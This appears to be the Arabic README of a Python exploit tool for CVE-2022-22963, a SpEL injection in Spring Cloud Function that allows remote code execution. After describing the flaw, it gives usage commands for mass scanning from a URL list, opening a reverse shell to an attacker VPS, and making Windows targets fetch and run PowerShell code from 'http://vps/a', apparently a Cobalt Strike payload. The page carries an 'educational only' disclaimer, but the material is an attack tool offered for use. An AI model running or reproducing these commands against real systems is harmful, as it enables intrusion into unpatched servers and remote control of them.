
Spring Cloud Function ثغرة حقن تعبير SPEL (CVE-2022-22963)
يوفر إطار Spring نموذجًا شاملاً للبرمجة والتكوين للتطبيقات المؤسسية الحديثة القائمة على java (على أي نوع من منصات النشر).
في إطار serverless في Spring Cloud، تقوم طريقة apply في الفئة RoutingFunction من إطار Spring Cloud Function بمعالجة معامل "spring.cloud.function.routing-expression" في رأس الطلب كتعبير SpEL، مما يؤدي إلى حقن تعبير SpEL، ويمكن للمهاجم تنفيذ أي كود من خلال هذه الثغرة.
نطاق التأثير: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
النص البرمجي لأغراض تعليمية فقط، المسؤولية القانونية عن أي استخدام آخر لا تقع على عاتق المؤلف
pip3 install -r requirements.txt
python3 spring-cloud-function-rce.py -h

-u تحديد عنوان URL واحد لاختبار dnslog
-e تحديد وضع shell العكسي
-s تحديد نظام التشغيل للمضيف الهدف، الافتراضي هو linux، المعلمات win/linux يستخدم مع المعاملين -i و -c
python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

python3 spring-cloud-function-rce.py -f "urls.txt"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps的ip地址:5566"

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"
-c يحدد عنوان كود PowerShell الذي يولده cs للاتصال، يجب استخدامه مع -s "win"، خيار -c يجب تنفيذ النص البرمجي تحت Windows، النص البرمجي سوف يستدعي PowerShell لتشفير POC


